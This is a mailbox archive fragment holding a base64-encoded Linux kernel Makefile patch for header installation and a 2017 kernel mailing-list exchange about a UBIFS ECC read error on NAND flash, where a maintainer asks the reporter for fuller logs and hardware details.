IDEwMDY0NAotLS0gYS9zY3JpcHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0CisrKyBiL3NjcmlwdHMv
TWFrZWZpbGUuaGVhZGVyc2luc3QKQEAgLTEsMTcgKzEsMTggQEAKICMgPT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT0KICMgSW5zdGFsbGluZyBoZWFkZXJzCiAjCi0jIGhlYWRlci15ICAtIGxpc3QgZmlsZXMgdG8g
YmUgaW5zdGFsbGVkLiBUaGV5IGFyZSBwcmVwcm9jZXNzZWQKLSMgICAgICAgICAgICAgdG8gcmVt
b3ZlIF9fS0VSTkVMX18gc2VjdGlvbiBvZiB0aGUgZmlsZQotIyBnZW5oZHIteSAgLSBTYW1lIGFz
IGhlYWRlci15IGJ1dCBpbiBhIGdlbmVyYXRlZC8gZGlyZWN0b3J5CisjIEFsbCBoZWFkZXJzIHVu
ZGVyIGluY2x1ZGUvdWFwaSwgaW5jbHVkZS9nZW5lcmF0ZWQvdWFwaSwKKyMgYXJjaC88YXJjaD4v
aW5jbHVkZS91YXBpL2FzbSBhbmQgL2luY2x1ZGUvZ2VuZXJhdGVkL3VhcGkvYXNtIGFyZSBleHBv
cnRlZC4KKyMgVGhleSBhcmUgcHJlcHJvY2Vzc2VkIHRvIHJlbW92ZSBfX0tFUk5FTF9fIHNlY3Rp
b24gb2YgdGhlIGZpbGUuCiAjCiAjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAKICMgZ2VuZXJhdGVkIGhl
YWRlciBkaXJlY3RvcnkKIGdlbiA6PSAkKGlmICQoZ2VuKSwkKGdlbiksJChzdWJzdCBpbmNsdWRl
LyxpbmNsdWRlL2dlbmVyYXRlZC8sJChvYmopKSkKIAorIyBLYnVpbGQgZmlsZSBpcyBvcHRpb25h
bAoga2J1aWxkLWZpbGUgOj0gJChzcmN0cmVlKS8kKG9iaikvS2J1aWxkCi1pbmNsdWRlICQoa2J1
aWxkLWZpbGUpCistaW5jbHVkZSAkKGtidWlsZC1maWxlKQogCiAjIGNhbGxlZCBtYXkgc2V0IGRl
c3RpbmF0aW9uIGRpciAod2hlbiBpbnN0YWxsaW5nIHRvIGFzbS8pCiBfZHN0IDo9ICQoaWYgJChk
c3QpLCQoZHN0KSwkKG9iaikpCkBAIC0yNSw5ICsyNiwxMiBAQCBpbmNsdWRlIHNjcmlwdHMvS2J1
aWxkLmluY2x1ZGUKIAogaW5zdGFsbGRpciAgICA6PSAkKElOU1RBTExfSERSX1BBVEgpLyQoc3Vi
c3QgdWFwaS8sLCQoX2RzdCkpCiAKLWhlYWRlci15ICAgICAgOj0gJChzb3J0ICQoaGVhZGVyLXkp
KQotc3ViZGlycyAgICAgICA6PSAkKHBhdHN1YnN0ICUvLCUsJChmaWx0ZXIgJS8sICQoaGVhZGVy
LXkpKSkKLWhlYWRlci15ICAgICAgOj0gJChmaWx0ZXItb3V0ICUvLCAkKGhlYWRlci15KSkKK3N1
YmRpcnMgICAgICAgOj0gJChwYXRzdWJzdCAkKHNyY3RyZWUpLyQob2JqKS8lLy4sJSwkKHdpbGRj
YXJkICQoc3JjdHJlZSkvJChvYmopLyovLikpCitzdWJkaXJzICAgICAgICs9ICQoc3ViZGlyLXkp
CitoZWFkZXItZmlsZXMgIDo9ICQobm90ZGlyICQod2lsZGNhcmQgJChzcmN0cmVlKS8kKG9iaikv
Ki5oKSkKK2hlYWRlci1maWxlcyAgKz0gJChub3RkaXIgJCh3aWxkY2FyZCAkKHNyY3RyZWUpLyQo
b2JqKS8qLmFnaCkpCitnZW5oZHItZmlsZXMgIDo9ICQobm90ZGlyICQod2lsZGNhcmQgJChzcmN0
cmVlKS8kKGdlbikvKi5oKSkKK2dlbmhkci1maWxlcyAgOj0gJChmaWx0ZXItb3V0ICQoaGVhZGVy
LWZpbGVzKSwgJChnZW5oZHItZmlsZXMpKQogCiAjIGZpbGVzIHVzZWQgdG8gdHJhY2sgc3RhdGUg
b2YgaW5zdGFsbC9jaGVjawogaW5zdGFsbC1maWxlICA6PSAkKGluc3RhbGxkaXIpLy5pbnN0YWxs
CkBAIC0zNSwyNiArMzksMTcgQEAgY2hlY2stZmlsZSAgICA6PSAkKGluc3RhbGxkaXIpLy5jaGVj
awogCiAjIGdlbmVyaWMteSBsaXN0IGFsbCBmaWxlcyBhbiBhcmNoaXRlY3R1cmUgdXNlcyBmcm9t
IGFzbS1nZW5lcmljCiAjIFVzZSB0aGlzIHRvIGJ1aWxkIGEgbGlzdCBvZiBoZWFkZXJzIHdoaWNo
IHJlcXVpcmUgYSB3cmFwcGVyCi13cmFwcGVyLWZpbGVzIDo9ICQoZmlsdGVyICQoaGVhZGVyLXkp
LCAkKGdlbmVyaWMteSkpCitnZW5lcmljLWZpbGVzIDo9ICQobm90ZGlyICQod2lsZGNhcmQgJChz
cmN0cmVlKS9pbmNsdWRlL3VhcGkvYXNtLWdlbmVyaWMvKi5oKSkKK3dyYXBwZXItZmlsZXMgOj0g
JChmaWx0ZXIgJChnZW5lcmljLWZpbGVzKSwgJChnZW5lcmljLXkpKQord3JhcHBlci1maWxlcyA6
PSAkKGZpbHRlci1vdXQgJChoZWFkZXItZmlsZXMpLCAkKHdyYXBwZXItZmlsZXMpKQogCiBzcmNk
aXIgICAgICAgIDo9ICQoc3JjdHJlZSkvJChvYmopCiBnZW5kaXIgICAgICAgIDo9ICQob2JqdHJl
ZSkvJChnZW4pCiAKICMgYWxsIGhlYWRlcnMgZmlsZXMgZm9yIHRoaXMgZGlyCi1oZWFkZXIteSAg
ICAgIDo9ICQoZmlsdGVyLW91dCAkKGdlbmVyaWMteSksICQoaGVhZGVyLXkpKQotYWxsLWZpbGVz
ICAgICA6PSAkKGhlYWRlci15KSAkKGdlbmhkci15KSAkKHdyYXBwZXItZmlsZXMpCithbGwtZmls
ZXMgICAgIDo9ICQoaGVhZGVyLWZpbGVzKSAkKGdlbmhkci1maWxlcykgJCh3cmFwcGVyLWZpbGVz
KQogb3V0cHV0LWZpbGVzICA6PSAkKGFkZHByZWZpeCAkKGluc3RhbGxkaXIpLywgJChhbGwtZmls
ZXMpKQogCi0jIENoZWNrIHRoYXQgYWxsIGV4cGVjdGVkIGZpbGVzIGV4aXN0Ci0kKGZvcmVhY2gg
aGRyLCAkKGhlYWRlci15KSwgXAotICAkKGlmICQod2lsZGNhcmQgJChzcmNkaXIpLyQoaGRyKSks
LCBcCi0gICAgICAgJChlcnJvciBNaXNzaW5nIFVBUEkgZmlsZSAkKHNyY2RpcikvJChoZHIpKSBc
Ci0gICApKQotJChmb3JlYWNoIGhkciwgJChnZW5oZHIteSksIFwKLSAgJChpZgkkKHdpbGRjYXJk
ICQoZ2VuZGlyKS8kKGhkcikpLCwgXAotICAgICAgICQoZXJyb3IgTWlzc2luZyBnZW5lcmF0ZWQg
VUFQSSBmaWxlICQoZ2VuZGlyKS8kKGhkcikpIFwKLSAgKSkKLQogIyBXb3JrIG91dCB3aGF0IG5l
ZWRzIHRvIGJlIHJlbW92ZWQKIG9sZGhlYWRlcnMgICAgOj0gJChwYXRzdWJzdCAkKGluc3RhbGxk
aXIpLyUsJSwkKHdpbGRjYXJkICQoaW5zdGFsbGRpcikvKi5oKSkKIHVud2FudGVkICAgICAgOj0g
JChmaWx0ZXItb3V0ICQoYWxsLWZpbGVzKSwkKG9sZGhlYWRlcnMpKQpAQCAtNjcsOCArNjIsOCBA
QCBwcmludGRpciA9ICQocGF0c3Vic3QgJChJTlNUQUxMX0hEUl9QQVRIKS8lLywlLCQoZGlyICRA
KSkKIHF1aWV0X2NtZF9pbnN0YWxsID0gSU5TVEFMTCAkKHByaW50ZGlyKSAoJCh3b3JkcyAkKGFs
bC1maWxlcykpXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGUkKGlmICQod29yZCAy
LCAkKGFsbC1maWxlcykpLHMpKQogICAgICAgY21kX2luc3RhbGwgPSBcCi0gICAgICAgICQoQ09O
RklHX1NIRUxMKSAkPCAkKGluc3RhbGxkaXIpICQoc3JjZGlyKSAkKGhlYWRlci15KTsgXAotICAg
ICAgICAkKENPTkZJR19TSEVMTCkgJDwgJChpbnN0YWxsZGlyKSAkKGdlbmRpcikgJChnZW5oZHIt
eSk7IFwKKyAgICAgICAgJChDT05GSUdfU0hFTEwpICQ8ICQoaW5zdGFsbGRpcikgJChzcmNkaXIp
ICQoaGVhZGVyLWZpbGVzKTsgXAorICAgICAgICAkKENPTkZJR19TSEVMTCkgJDwgJChpbnN0YWxs
ZGlyKSAkKGdlbmRpcikgJChnZW5oZHItZmlsZXMpOyBcCiAgICAgICAgIGZvciBGIGluICQod3Jh
cHBlci1maWxlcyk7IGRvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICAg
ICAgICAgICAgICAgZWNobyAiXCNpbmNsdWRlIDxhc20tZ2VuZXJpYy8kJEY+IiA+ICQoaW5zdGFs
bGRpcikvJCRGOyAgICBcCiAgICAgICAgIGRvbmU7ICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCi0tIAoyLjguMQoKCl9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClhlbi1kZXZlbCBtYWlsaW5nIGxp
c3QKWGVuLWRldmVsQGxpc3RzLnhlbi5vcmcKaHR0cHM6Ly9saXN0cy54ZW4ub3JnL3hlbi1kZXZl
bAo=


From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Boris Brezillon <boris.brezillon@free-electrons.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: ubi_io_read: error -74 (ECC error)
Date: Fri, 6 Jan 2017 12:30:53 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20170106123053.4a5ffabc@bbrezillon>
References: <38f0cfac3dbe4ea89da84c7fbf667833@SGPMBX1023.APAC.bosch.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483702469 1813 195.159.176.226 (6 Jan 2017 11:34:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 11:34:29 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "alsa-devel@alsa-project.org" <alsa-devel@alsa-project.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
 "airlied@linux.ie" <airlied@linux.ie>,
 "linux-fbdev@vger.kernel.org" <linux-fbdev@vger.kernel.org>,
 "dri-devel@lists.freedesktop.org" <dri-devel@lists.freedesktop.org>,
 "linux-mtd@lists.infradead.org" <linux-mtd@lists.infradead.org>,
 "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
 "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-rdma@vger.kernel.org" <linux-rdma@vger.kernel.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel
To: "Anurag Raghavan (RBEI/ETW11)" <Raghavan.Anurag@in.bosch.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Jan 06 12:34:21 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1cPSmj-0007CB-Vb
	for linux-arm-kernel@m.gmane.org; Fri, 06 Jan 2017 12:34:14 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cPSmn-0002FU-2h; Fri, 06 Jan 2017 11:34:17 +0000
Original-Received: from mail.free-electrons.com ([62.4.15.54])
 by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
 id 1cPSmi-00029L-Gc; Fri, 06 Jan 2017 11:34:14 +0000
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
 id 10B2A20790; Fri,  6 Jan 2017 12:33:54 +0100 (CET)
Original-Received: from bbrezillon (LFbn-1-2159-240.w90-76.abo.wanadoo.fr
 [90.76.216.240])
 by mail.free-electrons.com (Postfix) with ESMTPSA id 6AD2F20770;
 Fri,  6 Jan 2017 12:30:57 +0100 (CET)
In-Reply-To: <38f0cfac3dbe4ea89da84c7fbf667833@SGPMBX1023.APAC.bosch.com>
X-Mailer: Claws Mail 3.13.2 (GTK+ 2.24.30; x86_64-pc-linux-gnu)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170106_033412_848254_68D1BFA1 
X-CRM114-Status: GOOD (  16.66  )
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:548428 gmane.linux.ports.mips.general:57381 gmane.linux.alsa.devel:162880 gmane.linux.ports.ia64:27528 gmane.linux.documentation:44047 gmane.comp.video.dri.devel:175531 gmane.linux.drivers.mtd:71105 gmane.linux.ports.sparc:24272 gmane.linux.kernel.cross-arch:34668 gmane.linux.drivers.rdma:45171 gmane.linux.ports.hexagon:1080 gmane.linux.ports.sh.devel:54934 gmane.linux.scsi.open-fcoe.devel:12989 gmane.linux.kernel.arc:1971 gmane.linux.drivers.video-input-infrastructure:111666 gmane.linux.kbuild.devel:16255 gmane.linux.raid:55282 gmane.linux.kernel.metag:1203 gmane.linux.nfs:81288 gmane.linux.ports.parisc:27151 gmane.linux.network:448473 gmane.linux.kernel.mmc:41939 gmane.linux.kernel:2381559 gmane.linux.kernel.spi.devel:26048 gmane.comp.security.firewalls.netfilter.devel:66784 gmane.linux.ports.alpha:4000 gmane.linux.ports.ppc64.devel:137026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/548428>

Hi Raghavan,

On Fri, 6 Jan 2017 10:07:29 +0000
"Anurag Raghavan (RBEI/ETW11)" <Raghavan.Anurag@in.bosch.com> wrote:

> Hi All,
> 
> My appdata partition could not be mounted or where the partition was not able to be used. Anyone can help me to find out the root cause of this. What are the possibilities of this ubifs corruption. Any patched are available to fix this issue.

Can you please stop sending over and over the same message in the hope
that someone will magically solve the problem for you. Pinging
maintainers is accepted but not 3 times in 2 days.

> 
> I am using the kernel version-30.3.5

It's not even a valid kernel version (probably a kerne, and we'll need a
lot more than the 10 lines of log you provided to help you debug your
driver, like the boot logs, a reference to the kernel sources you're
using, after how much time this problem occurred...

> Any kernel patches are available to solve this issue...??

What's your NAND controller? It seems related to a NAND driver issue.

Regards,

Boris

> 
> Error logs:
> 
> [    1.797141] UBI error: ubi_io_read: error -74 (ECC error) while reading 253952 bytes from PEB 445:8192, read 253952 bytes
> [    1.808274] UBIFS error (pid 491): ubifs_scan: corrupt empty space at LEB 489:233760
> [    1.816037] UBIFS error (pid 491): ubifs_scanned_corruption: corruption at LEB 489:233760
> [    1.828660] UBIFS error (pid 491): ubifs_scan: LEB 489 scanning failed
> [    1.835215] UBIFS warning (pid 491): ubifs_ro_mode: switched to read-only mode, error -117
> [    1.843502] UBIFS error (pid 491): make_reservation: cannot reserve 58 bytes in jhead 2, error -117
> [    1.852569] UBIFS error (pid 491): do_writepage: cannot write page 0 of inode 76584, error -117
> dpkg: error: unable to sync new file '/var/lib/dpkg/arch-new': Structure needs cleaning
> 
> Best regards
> 
> Raghavan Anurag
> RBEI/ETW1  
> 
> Tel. +91(422)667-4001 | Mobil 9986968950
> 
> ______________________________________________________
> Linux MTD discussion mailing list
> http://lists.infradead.org/mailman/listinfo/linux-mtd/

From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Anurag Raghavan (RBEI/ETW11)" <Raghavan.Anurag@in.bosch.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: RE: ubi_io_read: error -74 (ECC error)
Date: Fri, 6 Jan 2017 11:58:40 +0000
Lines: 2593
Approved: news@gmane.org
Message-ID: <92e442e55f2b4826a12bd4b74c6fb3ca@SGPMBX1023.APAC.bosch.com>
References: <38f0cfac3dbe4ea89da84c7fbf667833@SGPMBX1023.APAC.bosch.com>
 <20170106123053.4a5ffabc@bbrezillon>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_002_92e442e55f2b4826a12bd4b74c6fb3caSGPMBX1023APACboschcom_"
X-Trace: blaine.gmane.org 1483703990 15078 195.159.176.226 (6 Jan 2017 11:59:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 11:59:50 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "alsa-devel@alsa-project.org" <alsa-devel@alsa-project.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
 "airlied@linux.ie" <airlied@linux.ie>,
 "linux-fbdev@vger.kernel.org" <linux-fbdev@vger.kernel.org>,
 "dri-devel@lists.freedesktop.org" <dri-devel@lists.freedesktop.org>,
 "linux-mtd@lists.infradead.org" <linux-mtd@lists.infradead.org>,
 "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
 "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-rdma@vger.kernel.org" <linux-rdma@vger.kernel.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel
To: Boris Brezillon <boris.brezillon@free-electrons.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jan 06 12:59:34 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1cPTBE-000204-Mz
	for gla-linux-snps-arc@m.gmane.org; Fri, 06 Jan 2017 12:59:33 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cPTBI-0004TI-ML; Fri, 06 Jan 2017 11:59:36 +0000
Original-Received: from smtp6-v.fe.bosch.de ([2a03:cc00:ff0:100::2])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cPTAv-00044f-GE; Fri, 06 Jan 2017 11:59:23 +0000
Original-Received: from vsmta13.fe.internet.bosch.com (unknown [10.4.98.53])
 by imta23.fe.bosch.de (Postfix) with ESMTP id 9497F15800F1;
 Fri,  6 Jan 2017 12:58:44 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=in.bosch.com;
 s=2015-01-21; t=1483703924;
 bh=IMfoSSQM+UCAsNVu/2kIjHO0DXXiht2VMpG7Rxsco4E=; l=10;
 h=From:From:Reply-To:Sender;
 b=r2gFa+uCfmgSvLC9MGLa7jq0ly2iBFvLDa7N/b+4P9vsh07A9onVmXVLHEtuo8vhN
 rTtSueR2kP3ID2hr69gWpvRsmoQgBJhBVwmKLqysSAq1nQNljKIla6qRYITegU7Wyp
 3okKlnSlPLyNd9nVwpMbxpYyGRh8hOSjTg+6ySbg=
Original-Received: from SI-HUB1000.de.bosch.com (vsgw22.fe.internet.bosch.com
 [10.4.98.11])
 by vsmta13.fe.internet.bosch.com (Postfix) with ESMTP id 443B82E40C20;
 Fri,  6 Jan 2017 12:58:44 +0100 (CET)
Original-Received: from SGPMBX1024.APAC.bosch.com (10.187.56.74) by
 SI-HUB1000.de.bosch.com (10.4.103.106) with Microsoft SMTP Server (TLS) id
 14.3.319.2; Fri, 6 Jan 2017 12:58:42 +0100
Original-Received: from SGPMBX1023.APAC.bosch.com (10.187.56.73) by
 SGPMBX1024.APAC.bosch.com (10.187.56.74) with Microsoft SMTP Server (TLS) id
 15.0.1236.3; Fri, 6 Jan 2017 19:58:39 +0800
Original-Received: from SGPMBX1023.APAC.bosch.com ([fe80::cd60:2f4f:4eb4:1f62]) by
 SGPMBX1023.APAC.bosch.com ([fe80::cd60:2f4f:4eb4:1f62%17]) with mapi id
 15.00.1236.000; Fri, 6 Jan 2017 19:58:40 +0800
Thread-Topic: ubi_io_read: error -74 (ECC error)
Thread-Index: AQHSaBDkbQjJgwNxdkeGkN9pSkn1wqErU82A
In-Reply-To: <20170106123053.4a5ffabc@bbrezillon>
Accept-Language: en-US, en-SG
Content-Language: en-US
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
x-ms-exchange-transport-fromentityheader: Hosted
x-originating-ip: [10.169.232.142]
X-TM-AS-MML: disable
X-TM-AS-Product-Ver: IMSS-7.1.0.1679-8.0.0.1202-22806.006
X-TMASE-MatchedRID: Rp71wniPtoPo2d3orePV3Vt3XMydUaMXBDpQqguxgN49FSAC5ggBCpiv
 GtcLct3uLHhOV088WVD+5Tu3wgSyXA7l2x8cRPcl/b/HF2B+pH4oUVkB7ifJnluVDt57bLZp36a
 Mz8t5UjdoEg+jrzVweLMhaam5p6PYsqcE1ws2Z2zpYmA4RZ8U39K/6grv3GOdmOTQRu2CG1fLYu
 xWjUxkOtZh4ByvKiANj5m+xUQ5+iJLN898JY7lV5VRzPxemJL0IfZjRfGTydgNcckEPxfz2Cj53
 aEB5qDLnnPRrR6sTPiXN/2zF0W2F3mblw9U/kktLTHwnYOikQ303H/AL/kEgCDbJV2PcsBEHxpG
 EqCU+3wUvAw87nXC4PH4hAQE7DkySJXJI59F676GwT67eecJ8MCY5/Mqi1Oi2oLGTNKlb9ckOQa
 RC4OfA63aC25avUua/rZ2XZ0/8PDMceyksUtCF2A/V00XWjDt5kzxLgNhSim2jkJ0FPKv9gf/+y
 cea5iB0FQWhbxI6lHIpTTJDIqgQt5yRi6HwLg53fn7n/ZHGqYLT2ejjmLR8dSVUkz9BPXeDnrwC
 +Ypv2olpXIV4g/Oxoy/jst5SmmKBQnatCb2G2XvVbHa5Rs8t3WT6A/Vdqa0FEIZ2VuXmF4cWaKl
 J4wOUK3WS3pROsBbQiE5bJj38wBRGMjPG2CNCBO0pJjulM34eHpiYvbwmwvT+zqarSy+M9S2Dsg
 gmTJ7mzw7G6b0EM73ZDBCv40gnX7cGd19dSFd
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:1972 gmane.linux.ports.mips.general:57382 gmane.linux.alsa.devel:162881 gmane.linux.ports.ia64:27529 gmane.linux.documentation:44048 gmane.comp.video.dri.devel:175532 gmane.linux.drivers.mtd:71106 gmane.linux.ports.sparc:24273 gmane.linux.kernel.cross-arch:34669 gmane.linux.drivers.rdma:45172 gmane.linux.ports.hexagon:1081 gmane.linux.ports.sh.devel:54936 gmane.linux.scsi.open-fcoe.devel:12990 gmane.linux.drivers.video-input-infrastructure:111667 gmane.linux.kbuild.devel:16256 gmane.linux.raid:55283 gmane.linux.kernel.metag:1204 gmane.linux.ports.arm.kernel:548443 gmane.linux.nfs:81289 gmane.linux.ports.parisc:27152 gmane.linux.network:448476 gmane.linux.kernel.mmc:41940 gmane.linux.kernel:2381575 gmane.linux.kernel.spi.devel:26049 gmane.comp.security.firewalls.netfilter.devel:66785 gmane.linux.ports.alpha:4001 gmane.linux.ports.ppc64.devel:137027
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/1972>

--_002_92e442e55f2b4826a12bd4b74c6fb3caSGPMBX1023APACboschcom_
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Sorry Boris, by mistake it happened.

I am attaching my full log here.  This issue is happening very rarely. I am=
 using mfg-tool to flash. I am recreating this issue by continuously flashi=
ng the partition.
And my kernel version is 3.0.35

Best regards

Raghavan Anurag
RBEI/ETW1 =20

Tel. +91(422)667-4001 | Mobil 9986968950



-----Original Message-----
From: linux-mtd [mailto:linux-mtd-bounces@lists.infradead.org] On Behalf Of=
 Boris Brezillon
Sent: Friday, January 06, 2017 5:01 PM
To: Anurag Raghavan (RBEI/ETW11) <Raghavan.Anurag@in.bosch.com>
Cc: linux-mips@linux-mips.org; alsa-devel@alsa-project.org; linux-ia64@vger=
.kernel.org; linux-doc@vger.kernel.org; airlied@linux.ie; linux-fbdev@vger.=
kernel.org; dri-devel@lists.freedesktop.org; linux-mtd@lists.infradead.org;=
 sparclinux@vger.kernel.org; linux-arch@vger.kernel.org; linux-s390@vger.ke=
rnel.org; linux-am33-list@redhat.com; linux-c6x-dev@linux-c6x.org; linux-rd=
ma@vger.kernel.org; linux-hexagon@vger.kernel.org; linux-sh@vger.kernel.org=
; coreteam@netfilter.org; fcoe-devel@open-fcoe.org; xen-devel@lists.xenproj=
ect.org; linux-snps-arc@lists.infradead.org; linux-media@vger.kernel.org; u=
clinux-h8-devel@lists.sourceforge.jp; linux-xtensa@linux-xtensa.org; arnd@a=
rndb.de; linux-kbuild@vger.kernel.org; adi-buildroot-devel@lists.sourceforg=
e.net; linux-raid@vger.kernel.org; linux-m68k@lists.linux-m68k.org; openris=
c@lists.librecores.org; Nicolas Dichtel <nicolas.dichtel@6wind.com>; linux-=
metag@vger.kernel.org; linux-arm-kernel@lists.infradead.org; linux-nfs@vger=
